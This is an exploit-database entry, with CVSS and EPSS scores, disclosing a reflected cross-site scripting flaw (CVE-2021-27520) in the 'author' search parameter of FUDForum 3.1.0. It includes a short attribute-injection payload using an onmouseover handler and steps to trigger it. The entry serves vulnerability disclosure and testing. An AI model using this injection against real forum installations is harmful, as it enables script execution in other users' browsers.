FUDForum 3.1.0 - 'author' Reflected XSS

2021-06-0300:00:00

Piyush Patil

www.exploit-db.com

133

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.003 Low

EPSS

Percentile

70.0%

JSON

# Exploit Title: FUDForum 3.1.0 - 'author' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: http://fudforum.org/
# Software Link: https://sourceforge.net/projects/fudforum/files/FUDforum_3.1.0.zip/download
# Version: FUDForum 3.1.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27520

-Description:
A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "author" parameter.


-Payload used:
y" onmouseover=alert(2) y="

-Steps to reproduce:
1- goto https://localhost/fudforum/index.php?t=search&
2- In the "Filter by User" search option, paste XSS payload
3- Hover your mouse to "y" and XSS will get triggered